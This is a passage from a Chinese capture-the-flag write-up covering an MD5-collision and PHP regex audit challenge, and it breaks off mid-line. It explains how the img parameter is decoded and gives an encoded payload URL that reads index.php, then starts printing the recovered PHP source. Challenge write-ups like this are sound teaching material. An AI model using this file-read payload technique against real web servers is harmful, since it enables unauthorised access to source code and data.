考点:
md5强碰撞
php代码审计–正则表达式
F12看到md5 is funny~ ,猜测与md5算法有关。注意到<img>标签和url地址栏,img参数是文件名的某种加密后的,将读取到的文件内容base64加密之后,输出到img标签中。
这个时候,要想办法知道img参数是怎么加密的,查看wp之后,发现后端会对传进去的img参数先进行两次base64解密,再进行一次hex解密。所以我们在payload时要先进行一次hex加密,再进行两次base64加密
同理然后读取一下index.php,再base64解密
payload:?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
base64解密之后,index.php的源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd&